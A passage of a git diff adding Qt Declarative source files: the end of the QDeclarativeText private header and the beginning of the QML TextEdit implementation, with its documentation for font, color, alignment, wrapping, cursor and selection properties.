+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETEXT_P_H
+#define QDECLARATIVETEXT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeitem.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
+#include "private/qdeclarativetextlayout_p.h"
+
+#include <qdeclarative.h>
+
+#include <QtGui/qtextlayout.h>
+
+QT_BEGIN_NAMESPACE
+
+class QTextLayout;
+class QTextDocumentWithImageResources;
+
+class Q_AUTOTEST_EXPORT QDeclarativeTextPrivate : public QDeclarativeImplicitSizeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeText)
+public:
+ QDeclarativeTextPrivate();
+
+ ~QDeclarativeTextPrivate();
+
+ void updateSize();
+ void updateLayout();
+ bool determineHorizontalAlignment();
+ bool setHAlign(QDeclarativeText::HAlignment, bool forceAlign = false);
+ void mirrorChange();
+ QTextDocument *textDocument();
+
+ QString text;
+ QFont font;
+ QFont sourceFont;
+ QColor color;
+ QDeclarativeText::TextStyle style;
+ QColor styleColor;
+ QString activeLink;
+ QDeclarativeText::HAlignment hAlign;
+ QDeclarativeText::VAlignment vAlign;
+ QDeclarativeText::TextElideMode elideMode;
+ QDeclarativeText::TextFormat format;
+ QDeclarativeText::WrapMode wrapMode;
+ qreal lineHeight;
+ QDeclarativeText::LineHeightMode lineHeightMode;
+ int lineCount;
+ bool truncated;
+ int maximumLineCount;
+ int maximumLineCountValid;
+ QPointF elidePos;
+
+ static QString elideChar;
+
+ void invalidateImageCache();
+ void checkImageCache();
+ QPixmap imageCache;
+
+ bool imageCacheDirty:1;
+ bool updateOnComponentComplete:1;
+ bool richText:1;
+ bool singleline:1;
+ bool cacheAllTextAsImage:1;
+ bool internalWidthUpdate:1;
+ bool requireImplicitWidth:1;
+ bool hAlignImplicit:1;
+ bool rightToLeftText:1;
+ bool layoutTextElided:1;
+
+ QRect layedOutTextRect;
+ QSize paintedSize;
+ qreal naturalWidth;
+ virtual qreal implicitWidth() const;
+ void ensureDoc();
+ QPixmap textDocumentImage(bool drawStyle);
+ QTextDocumentWithImageResources *doc;
+
+ QRect setupTextLayout();
+ QPixmap textLayoutImage(bool drawStyle);
+ void drawTextLayout(QPainter *p, const QPointF &pos, bool drawStyle);
+ QDeclarativeTextLayout layout;
+
+ static QPixmap drawOutline(const QPixmap &source, const QPixmap &styleSource);
+ static QPixmap drawOutline(const QPixmap &source, const QPixmap &styleSource, int yOffset);
+
+ static inline QDeclarativeTextPrivate *get(QDeclarativeText *t) {
+ return t->d_func();
+ }
+};
+
+QT_END_NAMESPACE
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
new file mode 100644
index 00000000..c23718b6
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
@@ -0,0 +1,1895 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativetextedit_p.h"
+#include "private/qdeclarativetextedit_p_p.h"
+
+#include "private/qdeclarativeevents_p_p.h"
+#include <private/qdeclarativeglobal_p.h>
+#include <qdeclarativeinfo.h>
+
+#include <QtCore/qmath.h>
+
+#include <private/qtextengine_p.h>
+#include <QTextLayout>
+#include <QTextLine>
+#include <QTextDocument>
+#include <QTextObject>
+#include <QGraphicsSceneMouseEvent>
+#include <QDebug>
+#include <QPainter>
+
+#include <private/qtextcontrol_p.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass TextEdit QDeclarativeTextEdit
+ \ingroup qml-basic-visual-elements
+ \since 4.7
+ \brief The TextEdit item displays multiple lines of editable formatted text.
+ \inherits Item
+
+ The TextEdit item displays a block of editable, formatted text.
+
+ It can display both plain and rich text. For example:
+
+ \qml
+TextEdit {
+ width: 240
+ text: "<b>Hello</b> <i>World!</i>"
+ font.family: "Helvetica"
+ font.pointSize: 20
+ color: "blue"
+ focus: true
+}
+ \endqml
+
+ \image declarative-textedit.gif
+
+ Setting \l {Item::focus}{focus} to \c true enables the TextEdit item to receive keyboard focus.
+
+ Note that the TextEdit does not implement scrolling, following the cursor, or other behaviors specific
+ to a look-and-feel. For example, to add flickable scrolling that follows the cursor:
+
+ \snippet snippets/declarative/texteditor.qml 0
+
+ A particular look-and-feel might use smooth scrolling (eg. using SmoothedFollow), might have a visible
+ scrollbar, or a scrollbar that fades in to show location, etc.
+
+ Clipboard support is provided by the cut(), copy(), and paste() functions, and the selection can
+ be handled in a traditional "mouse" mechanism by setting selectByMouse, or handled completely
+ from QML by manipulating selectionStart and selectionEnd, or using selectAll() or selectWord().
+
+ You can translate between cursor positions (characters from the start of the document) and pixel
+ points using positionAt() and positionToRectangle().
+
+ \sa Text, TextInput, {declarative/text/textselection}{Text Selection example}
+*/
+
+/*!
+ \qmlsignal TextEdit::onLinkActivated(string link)
+ \since QtQuick 1.1
+
+ This handler is called when the user clicks on a link embedded in the text.
+ The link must be in rich text or HTML format and the
+ \a link string provides access to the particular link.
+*/
+QDeclarativeTextEdit::QDeclarativeTextEdit(QDeclarativeItem *parent)
+: QDeclarativeImplicitSizePaintedItem(*(new QDeclarativeTextEditPrivate), parent)
+{
+ Q_D(QDeclarativeTextEdit);
+ d->init();
+}
+
+QString QDeclarativeTextEdit::text() const
+{
+ Q_D(const QDeclarativeTextEdit);
+
+#ifndef QT_NO_TEXTHTMLPARSER
+ if (d->richText)
+ return d->document->toHtml();
+ else
+#endif
+ return d->document->toPlainText();
+}
+
+/*!
+ \qmlproperty string TextEdit::font.family
+
+ Sets the family name of the font.
+
+ The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]".
+ If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen.
+ If the family isn't available a family will be set using the font matching algorithm.
+*/
+
+/*!
+ \qmlproperty bool TextEdit::font.bold
+
+ Sets whether the font weight is bold.
+*/
+
+/*!
+ \qmlproperty enumeration TextEdit::font.weight
+
+ Sets the font's weight.
+
+ The weight can be one of:
+ \list
+ \o Font.Light
+ \o Font.Normal - the default
+ \o Font.DemiBold
+ \o Font.Bold
+ \o Font.Black
+ \endlist
+
+ \qml
+ TextEdit { text: "Hello"; font.weight: Font.DemiBold }
+ \endqml
+*/
+
+/*!
+ \qmlproperty bool TextEdit::font.italic
+
+ Sets whether the font has an italic style.
+*/
+
+/*!
+ \qmlproperty bool TextEdit::font.underline
+
+ Sets whether the text is underlined.
+*/
+
+/*!
+ \qmlproperty bool TextEdit::font.strikeout
+
+ Sets whether the font has a strikeout style.
+*/
+
+/*!
+ \qmlproperty real TextEdit::font.pointSize
+
+ Sets the font size in points. The point size must be greater than zero.
+*/
+
+/*!
+ \qmlproperty int TextEdit::font.pixelSize
+
+ Sets the font size in pixels.
+
+ Using this function makes the font device dependent. Use
+ \l{TextEdit::font.pointSize} to set the size of the font in a
+ device independent manner.
+*/
+
+/*!
+ \qmlproperty real TextEdit::font.letterSpacing
+
+ Sets the letter spacing for the font.
+
+ Letter spacing changes the default spacing between individual letters in the font.
+ A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing.
+*/
+
+/*!
+ \qmlproperty real TextEdit::font.wordSpacing
+
+ Sets the word spacing for the font.
+
+ Word spacing changes the default spacing between individual words.
+ A positive value increases the word spacing by a corresponding amount of pixels,
+ while a negative value decreases the inter-word spacing accordingly.
+*/
+
+/*!
+ \qmlproperty enumeration TextEdit::font.capitalization
+
+ Sets the capitalization for the text.
+
+ \list
+ \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied.
+ \o Font.AllUppercase - This alters the text to be rendered in all uppercase type.
+ \o Font.AllLowercase - This alters the text to be rendered in all lowercase type.
+ \o Font.SmallCaps - This alters the text to be rendered in small-caps type.
+ \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character.
+ \endlist
+
+ \qml
+ TextEdit { text: "Hello"; font.capitalization: Font.AllLowercase }
+ \endqml
+*/
+
+/*!
+ \qmlproperty string TextEdit::text
+
+ The text to display. If the text format is AutoText the text edit will
+ automatically determine whether the text should be treated as
+ rich text. This determination is made using Qt::mightBeRichText().
+*/
+void QDeclarativeTextEdit::setText(const QString &text)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (QDeclarativeTextEdit::text() == text)
+ return;
+
+ d->richText = d->format == RichText || (d->format == AutoText && Qt::mightBeRichText(text));
+ if (d->richText) {
+#ifndef QT_NO_TEXTHTMLPARSER
+ d->control->setHtml(text);
+#else
+ d->control->setPlainText(text);
+#endif
+ } else {
+ d->control->setPlainText(text);
+ }
+ q_textChanged();
+}
+
+/*!
+ \qmlproperty enumeration TextEdit::textFormat
+
+ The way the text property should be displayed.
+
+ \list
+ \o TextEdit.AutoText
+ \o TextEdit.PlainText
+ \o TextEdit.RichText
+ \endlist
+
+ The default is TextEdit.AutoText. If the text format is TextEdit.AutoText the text edit
+ will automatically determine whether the text should be treated as
+ rich text. This determination is made using Qt::mightBeRichText().
+
+ \table
+ \row
+ \o
+ \qml
+Column {
+ TextEdit {
+ font.pointSize: 24
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ TextEdit {
+ font.pointSize: 24
+ textFormat: TextEdit.RichText
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+ TextEdit {
+ font.pointSize: 24
+ textFormat: TextEdit.PlainText
+ text: "<b>Hello</b> <i>World!</i>"
+ }
+}
+ \endqml
+ \o \image declarative-textformat.png
+ \endtable
+*/
+QDeclarativeTextEdit::TextFormat QDeclarativeTextEdit::textFormat() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->format;
+}
+
+void QDeclarativeTextEdit::setTextFormat(TextFormat format)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (format == d->format)
+ return;
+ bool wasRich = d->richText;
+ d->richText = format == RichText || (format == AutoText && Qt::mightBeRichText(d->text));
+
+ if (wasRich && !d->richText) {
+ d->control->setPlainText(d->text);
+ updateSize();
+ } else if (!wasRich && d->richText) {
+#ifndef QT_NO_TEXTHTMLPARSER
+ d->control->setHtml(d->text);
+#else
+ d->control->setPlainText(d->text);
+#endif
+ updateSize();
+ }
+ d->format = format;
+ d->control->setAcceptRichText(d->format != PlainText);
+ emit textFormatChanged(d->format);
+}
+
+QFont QDeclarativeTextEdit::font() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->sourceFont;
+}
+
+void QDeclarativeTextEdit::setFont(const QFont &font)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->sourceFont == font)
+ return;
+
+ d->sourceFont = font;
+ QFont oldFont = d->font;
+ d->font = font;
+ if (d->font.pointSizeF() != -1) {
+ // 0.5pt resolution
+ qreal size = qRound(d->font.pointSizeF()*2.0);
+ d->font.setPointSizeF(size/2.0);
+ }
+
+ if (oldFont != d->font) {
+ clearCache();
+ d->document->setDefaultFont(d->font);
+ if(d->cursor){
+ d->cursor->setHeight(QFontMetrics(d->font).height());
+ moveCursorDelegate();
+ }
+ updateSize();
+ update();
+ }
+ emit fontChanged(d->sourceFont);
+}
+
+/*!
+ \qmlproperty color TextEdit::color
+
+ The text color.
+
+ \qml
+ // green text using hexadecimal notation
+ TextEdit { color: "#00FF00" }
+ \endqml
+
+ \qml
+ // steelblue text using SVG color name
+ TextEdit { color: "steelblue" }
+ \endqml
+*/
+QColor QDeclarativeTextEdit::color() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->color;
+}
+
+void QDeclarativeTextEdit::setColor(const QColor &color)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->color == color)
+ return;
+
+ clearCache();
+ d->color = color;
+ QPalette pal = d->control->palette();
+ pal.setColor(QPalette::Text, color);
+ d->control->setPalette(pal);
+ update();
+ emit colorChanged(d->color);
+}
+
+/*!
+ \qmlproperty color TextEdit::selectionColor
+
+ The text highlight color, used behind selections.
+*/
+QColor QDeclarativeTextEdit::selectionColor() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->selectionColor;
+}
+
+void QDeclarativeTextEdit::setSelectionColor(const QColor &color)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->selectionColor == color)
+ return;
+
+ clearCache();
+ d->selectionColor = color;
+ QPalette pal = d->control->palette();
+ pal.setColor(QPalette::Highlight, color);
+ d->control->setPalette(pal);
+ update();
+ emit selectionColorChanged(d->selectionColor);
+}
+
+/*!
+ \qmlproperty color TextEdit::selectedTextColor
+
+ The selected text color, used in selections.
+*/
+QColor QDeclarativeTextEdit::selectedTextColor() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->selectedTextColor;
+}
+
+void QDeclarativeTextEdit::setSelectedTextColor(const QColor &color)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->selectedTextColor == color)
+ return;
+
+ clearCache();
+ d->selectedTextColor = color;
+ QPalette pal = d->control->palette();
+ pal.setColor(QPalette::HighlightedText, color);
+ d->control->setPalette(pal);
+ update();
+ emit selectedTextColorChanged(d->selectedTextColor);
+}
+
+/*!
+ \qmlproperty enumeration TextEdit::horizontalAlignment
+ \qmlproperty enumeration TextEdit::verticalAlignment
+
+ Sets the horizontal and vertical alignment of the text within the TextEdit item's
+ width and height. By default, the text alignment follows the natural alignment
+ of the text, for example text that is read from left to right will be aligned to
+ the left.
+
+ Valid values for \c horizontalAlignment are:
+ \list
+ \o TextEdit.AlignLeft (default)
+ \o TextEdit.AlignRight
+ \o TextEdit.AlignHCenter
+ \o TextEdit.AlignJustify
+ \endlist
+
+ Valid values for \c verticalAlignment are:
+ \list
+ \o TextEdit.AlignTop (default)
+ \o TextEdit.AlignBottom
+ \o TextEdit.AlignVCenter
+ \endlist
+
+ When using the attached property \l {LayoutMirroring::enabled} to mirror application
+ layouts, the horizontal alignment of text will also be mirrored. However, the property
+ \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment
+ of TextEdit, use the property \l {LayoutMirroring::enabled}.
+*/
+QDeclarativeTextEdit::HAlignment QDeclarativeTextEdit::hAlign() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->hAlign;
+}
+
+void QDeclarativeTextEdit::setHAlign(HAlignment align)
+{
+ Q_D(QDeclarativeTextEdit);
+ bool forceAlign = d->hAlignImplicit && d->effectiveLayoutMirror;
+ d->hAlignImplicit = false;
+ if (d->setHAlign(align, forceAlign) && isComponentComplete()) {
+ d->updateDefaultTextOption();
+ updateSize();
+ }
+}
+
+void QDeclarativeTextEdit::resetHAlign()
+{
+ Q_D(QDeclarativeTextEdit);
+ d->hAlignImplicit = true;
+ if (d->determineHorizontalAlignment() && isComponentComplete()) {
+ d->updateDefaultTextOption();
+ updateSize();
+ }
+}
+
+QDeclarativeTextEdit::HAlignment QDeclarativeTextEdit::effectiveHAlign() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ QDeclarativeTextEdit::HAlignment effectiveAlignment = d->hAlign;
+ if (!d->hAlignImplicit && d->effectiveLayoutMirror) {
+ switch (d->hAlign) {
+ case QDeclarativeTextEdit::AlignLeft:
+ effectiveAlignment = QDeclarativeTextEdit::AlignRight;
+ break;
+ case QDeclarativeTextEdit::AlignRight:
+ effectiveAlignment = QDeclarativeTextEdit::AlignLeft;
+ break;
+ default:
+ break;
+ }
+ }
+ return effectiveAlignment;
+}
+
+bool QDeclarativeTextEditPrivate::setHAlign(QDeclarativeTextEdit::HAlignment alignment, bool forceAlign)
+{
+ Q_Q(QDeclarativeTextEdit);
+ if (hAlign != alignment || forceAlign) {
+ QDeclarativeTextEdit::HAlignment oldEffectiveHAlign = q->effectiveHAlign();
+ hAlign = alignment;
+ emit q->horizontalAlignmentChanged(alignment);
+ return true;
+ }
+ return false;
+}
+
+bool QDeclarativeTextEditPrivate::determineHorizontalAlignment()
+{
+ Q_Q(QDeclarativeTextEdit);
+ if (hAlignImplicit && q->isComponentComplete()) {
+ bool alignToRight;
+ if (text.isEmpty()) {
+ const QString preeditText = control->textCursor().block().layout()->preeditAreaText();
+ alignToRight = preeditText.isEmpty()
+ ? QApplication::keyboardInputDirection() == Qt::RightToLeft
+ : preeditText.isRightToLeft();
+ } else {
+ alignToRight = rightToLeftText;
+ }
+ return setHAlign(alignToRight ? QDeclarativeTextEdit::AlignRight : QDeclarativeTextEdit::AlignLeft);
+ }
+ return false;
+}
+
+void QDeclarativeTextEditPrivate::mirrorChange()
+{
+ Q_Q(QDeclarativeTextEdit);
+ if (q->isComponentComplete()) {
+ if (!hAlignImplicit && (hAlign == QDeclarativeTextEdit::AlignRight || hAlign == QDeclarativeTextEdit::AlignLeft)) {
+ updateDefaultTextOption();
+ q->updateSize();
+ }
+ }
+}
+
+QDeclarativeTextEdit::VAlignment QDeclarativeTextEdit::vAlign() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->vAlign;
+}
+
+void QDeclarativeTextEdit::setVAlign(QDeclarativeTextEdit::VAlignment alignment)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (alignment == d->vAlign)
+ return;
+ d->vAlign = alignment;
+ d->updateDefaultTextOption();
+ updateSize();
+ moveCursorDelegate();
+ emit verticalAlignmentChanged(d->vAlign);
+}
+
+/*!
+ \qmlproperty enumeration TextEdit::wrapMode
+
+ Set this property to wrap the text to the TextEdit item's width.
+ The text will only wrap if an explicit width has been set.
+
+ \list
+ \o TextEdit.NoWrap - no wrapping will be performed. If the text contains insufficient newlines, then implicitWidth will exceed a set width.
+ \o TextEdit.WordWrap - wrapping is done on word boundaries only. If a word is too long, implicitWidth will exceed a set width.
+ \o TextEdit.WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word.
+ \o TextEdit.Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word.
+ \endlist
+
+ The default is TextEdit.NoWrap. If you set a width, consider using TextEdit.Wrap.
+*/
+QDeclarativeTextEdit::WrapMode QDeclarativeTextEdit::wrapMode() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->wrapMode;
+}
+
+void QDeclarativeTextEdit::setWrapMode(WrapMode mode)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (mode == d->wrapMode)
+ return;
+ d->wrapMode = mode;
+ d->updateDefaultTextOption();
+ updateSize();
+ emit wrapModeChanged();
+}
+
+/*!
+ \qmlproperty int TextEdit::lineCount
+ \since QtQuick 1.1
+
+ Returns the total number of lines in the textEdit item.
+*/
+int QDeclarativeTextEdit::lineCount() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->lineCount;
+}
+
+/*!
+ \qmlproperty real TextEdit::paintedWidth
+
+ Returns the width of the text, including the width past the width
+ which is covered due to insufficient wrapping if \l wrapMode is set.
+*/
+qreal QDeclarativeTextEdit::paintedWidth() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->paintedSize.width();
+}
+
+/*!
+ \qmlproperty real TextEdit::paintedHeight
+
+ Returns the height of the text, including the height past the height
+ that is covered if the text does not fit within the set height.
+*/
+qreal QDeclarativeTextEdit::paintedHeight() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->paintedSize.height();
+}
+
+/*!
+ \qmlmethod rectangle TextEdit::positionToRectangle(position)
+
+ Returns the rectangle at the given \a position in the text. The x, y,
+ and height properties correspond to the cursor that would describe
+ that position.
+*/
+QRectF QDeclarativeTextEdit::positionToRectangle(int pos) const
+{
+ Q_D(const QDeclarativeTextEdit);
+ QTextCursor c(d->document);
+ c.setPosition(pos);
+ return d->control->cursorRect(c);
+
+}
+
+/*!
+ \qmlmethod int TextEdit::positionAt(int x, int y)
+
+ Returns the text position closest to pixel position (\a x, \a y).
+
+ Position 0 is before the first character, position 1 is after the first character
+ but before the second, and so on until position \l {text}.length, which is after all characters.
+*/
+int QDeclarativeTextEdit::positionAt(int x, int y) const
+{
+ Q_D(const QDeclarativeTextEdit);
+ int r = d->document->documentLayout()->hitTest(QPoint(x,y-d->yoff), Qt::FuzzyHit);
+ QTextCursor cursor = d->control->textCursor();
+ if (r > cursor.position()) {
+ // The cursor position includes positions within the preedit text, but only positions in the
+ // same text block are offset so it is possible to get a position that is either part of the
+ // preedit or the next text block.
+ QTextLayout *layout = cursor.block().layout();
+ const int preeditLength = layout
+ ? layout->preeditAreaText().length()
+ : 0;
+ if (preeditLength > 0
+ && d->document->documentLayout()->blockBoundingRect(cursor.block()).contains(x,y-d->yoff)) {
+ r = r > cursor.position() + preeditLength
+ ? r - preeditLength
+ : cursor.position();
+ }
+ }
+ return r;
+}
+
+void QDeclarativeTextEdit::moveCursorSelection(int pos)
+{
+ //Note that this is the same as setCursorPosition but with the KeepAnchor flag set
+ Q_D(QDeclarativeTextEdit);
+ QTextCursor cursor = d->control->textCursor();
+ if (cursor.position() == pos)
+ return;
+ cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ d->control->setTextCursor(cursor);
+}
+
+/*!
+ \qmlmethod void TextEdit::moveCursorSelection(int position, SelectionMode mode = TextEdit.SelectCharacters)
+ \since QtQuick 1.1
+
+ Moves the cursor to \a position and updates the selection according to the optional \a mode
+ parameter. (To only move the cursor, set the \l cursorPosition property.)
+
+ When this method is called it additionally sets either the
+ selectionStart or the selectionEnd (whichever was at the previous cursor position)
+ to the specified position. This allows you to easily extend and contract the selected
+ text range.
+
+ The selection mode specifies whether the selection is updated on a per character or a per word
+ basis. If not specified the selection mode will default to TextEdit.SelectCharacters.
+
+ \list
+ \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at
+ the previous cursor position) to the specified position.
+ \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all
+ words between the specified postion and the previous cursor position. Words partially in the
+ range are included.
+ \endlist
+
+ For example, take this sequence of calls:
+
+ \code
+ cursorPosition = 5
+ moveCursorSelection(9, TextEdit.SelectCharacters)
+ moveCursorSelection(7, TextEdit.SelectCharacters)
+ \endcode
+
+ This moves the cursor to position 5, extend the selection end from 5 to 9
+ and then retract the selection end from 9 to 7, leaving the text from position 5 to 7
+ selected (the 6th and 7th characters).
+
+ The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary
+ before or on position 5 and extend the selection end to a word boundary on or past position 9.
+*/
+void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode)
+{
+ Q_D(QDeclarativeTextEdit);
+ QTextCursor cursor = d->control->textCursor();
+ if (cursor.position() == pos)
+ return;
+ if (mode == SelectCharacters) {
+ cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ } else if (cursor.anchor() < pos || (cursor.anchor() == pos && cursor.position() < pos)) {
+ if (cursor.anchor() > cursor.position()) {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+ if (cursor.position() == cursor.anchor())
+ cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor);
+ else
+ cursor.setPosition(cursor.position(), QTextCursor::MoveAnchor);
+ } else {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::MoveAnchor);
+ }
+
+ cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+ if (cursor.position() != pos)
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+ } else if (cursor.anchor() > pos || (cursor.anchor() == pos && cursor.position() > pos)) {
+ if (cursor.anchor() < cursor.position()) {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
+ } else {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+ if (cursor.position() != cursor.anchor()) {
+ cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
+ }
+ }
+
+ cursor.setPosition(pos, QTextCursor::KeepAnchor);
+ cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
+ if (cursor.position() != pos) {
+ cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
+ cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
+ }
+ }
+ d->control->setTextCursor(cursor);
+}
+
+/*!
+ \qmlproperty bool TextEdit::cursorVisible
+ If true the text edit shows a cursor.
+
+ This property is set and unset when the text edit gets active focus, but it can also
+ be set directly (useful, for example, if a KeyProxy might forward keys to it).
+*/
+bool QDeclarativeTextEdit::isCursorVisible() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->cursorVisible;
+}
+
+void QDeclarativeTextEdit::setCursorVisible(bool on)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (d->cursorVisible == on)
+ return;
+ d->cursorVisible = on;
+ QFocusEvent focusEvent(on ? QEvent::FocusIn : QEvent::FocusOut);
+ if (!on && !d->persistentSelection)
+ d->control->setCursorIsFocusIndicator(true);
+ d->control->processEvent(&focusEvent, QPointF(0, -d->yoff));
+ emit cursorVisibleChanged(d->cursorVisible);
+}
+
+/*!
+ \qmlproperty int TextEdit::cursorPosition
+ The position of the cursor in the TextEdit.
+*/
+int QDeclarativeTextEdit::cursorPosition() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->control->textCursor().position();
+}
+
+void QDeclarativeTextEdit::setCursorPosition(int pos)
+{
+ Q_D(QDeclarativeTextEdit);
+ if (pos < 0 || pos > d->text.length())
+ return;
+ QTextCursor cursor = d->control->textCursor();
+ if (cursor.position() == pos && cursor.anchor() == pos)
+ return;
+ cursor.setPosition(pos);
+ d->control->setTextCursor(cursor);
+}
+
+/*!
+ \qmlproperty Component TextEdit::cursorDelegate
+ The delegate for the cursor in the TextEdit.
+
+ If you set a cursorDelegate for a TextEdit, this delegate will be used for
+ drawing the cursor instead of the standard cursor. An instance of the
+ delegate will be created and managed by the text edit when a cursor is
+ needed, and the x and y properties of delegate instance will be set so as
+ to be one pixel before the top left of the current character.
+
+ Note that the root item of the delegate component must be a QDeclarativeItem or
+ QDeclarativeItem derived item.
+*/
+QDeclarativeComponent* QDeclarativeTextEdit::cursorDelegate() const
+{
+ Q_D(const QDeclarativeTextEdit);
+ return d->cursorComponent;
+}
+
+void QDeclarativeTextEdit::setCursorDelegate(QDeclarativeComponent* c)
+{
+ Q_D(QDeclarativeTextEdit);
+ if(d->cursorComponent){
+ if(d->cursor){
+ d->control->setCursorWidth(-1);
+ dirtyCache(cursorRectangle());
+ delete d->cursor;
+ d->cursor = 0;
+ }
+ }
+ d->cursorComponent = c;
+ if(c && c->isReady()){
+ loadCursorDelegate();
+ }else{
+ if(c)
+ connect(c, SIGNAL(statusChanged()),
+ this, SLOT(loadCursorDelegate()));
+ }
+
+ emit cursorDelegateChanged();
+}
+
+void QDeclarativeTextEdit::loadCursorDelegate()
+{
+ Q_D(QDeclarativeTextEdit);
+ if(d->cursorComponent->isLoading())
+ return;
+ d->cursor = qobject_cast<QDeclarativeItem*>(d->cursorComponent->create(qmlContext(this)));
+ if(d->cursor){
+ d->control->setCursorWidth(0);
+ dirtyCache(cursorRectangle());
+ QDeclarative_setParent_noEvent(d->cursor, this);
+ d->cursor->setParentItem(this);
+ d->cursor->setHeight(QFontMetrics(d->font).height());
+ moveCursorDelegate();
+ }else{
+ qmlInfo(this) << "Error loading cursor delegate.";
+ }
+}
+
+/*!
+ \qmlproperty int TextEdit::selectionStart
+
+ The cursor position before the first character in the current selection.
+
+ This property is read-only. To change the selection, use select(start,end),
+ selectAll(), or selectWord().
+
+ \sa selectionEnd, cursorPosition, selectedText
+*/
+int QDeclarativeTextEdit::selectionStart() const
+{
